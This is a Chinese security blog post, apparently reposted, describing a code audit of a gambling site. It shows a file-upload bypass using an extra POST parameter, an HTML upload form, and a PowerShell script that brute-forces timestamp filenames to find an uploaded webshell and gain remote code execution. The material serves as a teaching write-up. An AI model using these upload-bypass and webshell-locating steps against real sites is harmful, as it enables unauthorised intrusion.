记一次某赌博网站代审上传Getshell(入门版)

admin 2025-12-29 00:43:13 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文记录了某赌博网站代审过程,通过全局搜索发现无条件上传点。在获得管理员权限后,利用代码逻辑缺陷,通过添加非文件POST参数绕过上传限制。结合时间戳爆破脚本猜解文件路径,成功上传Webshell并获取RCE权限。该案例适合初学者了解文件上传漏洞审计与利用。 综合评分: 86 文章分类: 代码审计,WEB安全,渗透测试,漏洞分析


cover_image

记一次某赌博网站代审上传Getshell(入门版)

原创

ZAC安全

ZAC安全

2025年12月27日 19:47 北京

记一次某赌博网站代审RCE

ZAC安全

2025

////前言

HXD最近在打某市局小案件,然后周一的时候发了我个源码包让我审一下,审计后发现还是还是很简单的,适合水一篇公众号入门教程文。

1

01

审计过程

今天刚好忙完歇一会,顺手看看,拿到源码开始审计,全局搜上传点,直接抓到一个无条件上传

打开网址一看是m.php?m=Public&a=login,确定路由后直接开始构造

上传包

m.php?m=VideoCollectnew&a=addroom<!doctype&nbsp;html><meta&nbsp;charset="utf-8"><form&nbsp;action="http://xxx/m.php?m=VideoCollectnew&a=addroom"&nbsp;method="post"&nbsp;enctype="multipart/form-data"><div>上传:<input&nbsp;type="file"&nbsp;name="img"&nbsp;required></div><button&nbsp;type="submit">提交</button></form>

不出意外就要出意外了,响应302

回头再看源代码,发现最开始的时候需要验证一下管理员权限

问一下hxd,发现还真有账密,省的绕过了

登进去拿到了cookie,再进行上传,这时候虽然有了响应包,但还没有上传成功,跟正常访问接口一样

原因在于m要进else的逻辑必须让Post数据非空,所以我们可以在表单上随便加一些参数,不是FILE参数即可

再次上传,发现回显不一样了,那么上传看样子是成功了,现在只需要爆破下文件名即可

文件名命名的规则为 url/apk/time()+filename

上传完后,立马用脚本爆破前后30s的时间戳加文件名即可

$baseUrl&nbsp;="http:// url"$file&nbsp;= “test9991zzz.php"&nbsp;$now&nbsp;= [int][double]((Get-Date).ToUniversalTime() -[datetime]"1970-01-01").TotalSeconds-30..30 | ForEach-Object {$ts&nbsp;=&nbsp;$now&nbsp;+&nbsp;$_$url&nbsp;= "$baseUrl/apk/${ts}$file"try {$r&nbsp;= Invoke-WebRequest -Uri&nbsp;$url&nbsp;-Method GET -TimeoutSec 3 -UseBasicParsingif ($r.StatusCode -eq 200) { "$url"; break }} catch {}}

访问一下,成功RCE

传个大马收工

宣传页

ZAC安全

本人微信:zacaq999 文章内容如有任何错误或者对不上号的,可以加我微信,感谢各位大佬们的指点

安全宝典欢迎各位大佬以投稿方式免费进入!


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:ZAC安全 ZAC安全《记一次某赌博网站代审上传Getshell(入门版)》

评论:0   参与:  0